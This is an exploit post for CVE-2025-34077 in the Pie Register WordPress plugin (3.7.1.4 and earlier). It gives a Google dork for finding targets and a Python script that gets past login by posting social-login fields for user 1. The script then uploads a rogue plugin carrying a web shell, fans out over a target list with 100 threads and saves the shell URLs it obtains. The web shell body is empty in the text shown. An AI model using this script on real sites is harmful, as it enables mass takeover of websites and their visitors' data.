Pie Register WordPress Plugin 3.7.1.4 – Authentication Bypass to RCE

• CVE-2025-34077

Exploit……

# Exploit Title: Pie Register WordPress Plugin 3.7.1.4 – Authentication Bypass to RCE

# Google Dork: inurl:/wp-content/plugins/pie-register/

# Date: 2025-07-09

# Exploit Author: Md Amanat Ullah (xSwads)

# Vendor Homepage: https://wordpress.org/plugins/pie-register/

# Software Link:

https://downloads.wordpress.org/plugin/pie-register.3.7.1.4.zip

# Version: <= 3.7.1.4
# Tested on: Ubuntu 22.04

# CVE: CVE-2025-34077

#!/usr/bin/env python3

import requests

import zipfile

import io

import sys

from concurrent.futures import ThreadPoolExecutor, as_completed

from colorama import Fore, Style, init

from threading import Lock

init(autoreset=True)

SHELL_PHP = “”

PLUGIN_DIR = “evilplugin”

ZIP_NAME = “evilplugin.zip”

SHELL_FILE = “shell.php”

OUTPUT_FILE = “Shells.txt”

HEADERS = {‘User-Agent’: ‘Mozilla/5.0’}

TIMEOUT = 10

lock = Lock()

def FilterURLS(site):

site = site.strip()

if not site.startswith((‘http://’, ‘https://’)):

site = ‘http://’ + site

if not site.endswith(‘/’):

site += ‘/’

return site

def make_shell_zip():

buf = io.BytesIO()

with zipfile.ZipFile(buf, ‘w’) as z:

z.writestr(f”{PLUGIN_DIR}/{PLUGIN_DIR}.php”, ““)

z.writestr(f”{PLUGIN_DIR}/{SHELL_FILE}”, SHELL_PHP)

buf.seek(0)

return buf

def exploit(target):

target = FilterURLS(target)

session = requests.Session()

data = {“social_site”: “true”, “user_id_social_site”: “1”}

try:

r = session.post(f”{target}?pr_social_login=1″, data=data, headers=HEADERS, timeout=TIMEOUT)

except:

print(f”{Fore.RED}[Failed] – {target}”)

return

if not session.cookies:

print(f”{Fore.RED}[Failed] – {target}”)

return

files = {“pluginzip”: (ZIP_NAME, make_shell_zip(), “application/zip”)}

try:

upload = session.post(f”{target}wp-admin/plugin-install.php?upload”, files=files, headers=HEADERS, timeout=TIMEOUT)

except:

print(f”{Fore.RED}[Failed] – {target}”)

return

if “Plugin installed successfully” in upload.text:

shell_url = f”{target}wp-content/plugins/{PLUGIN_DIR}/{SHELL_FILE}”

print(f”{Fore.GREEN}[Exploited] – {shell_url}”)

with lock:

with open(OUTPUT_FILE, “a”) as f:

f.write(shell_url + “\n”)

else:

print(f”{Fore.RED}[Failed] – {target}”)

def main(targets_file):

with open(targets_file, “r”) as f:

targets = [line.strip() for line in f if line.strip()]

with ThreadPoolExecutor(max_workers=100) as executor:

futures = [executor.submit(exploit, target) for target in targets]

for _ in as_completed(futures):

pass

if __name__ == “__main__”:

if len(sys.argv) != 2:

print(f”Usage: {sys.argv[0]} list.txt”)

sys.exit(1)

main(sys.argv[1])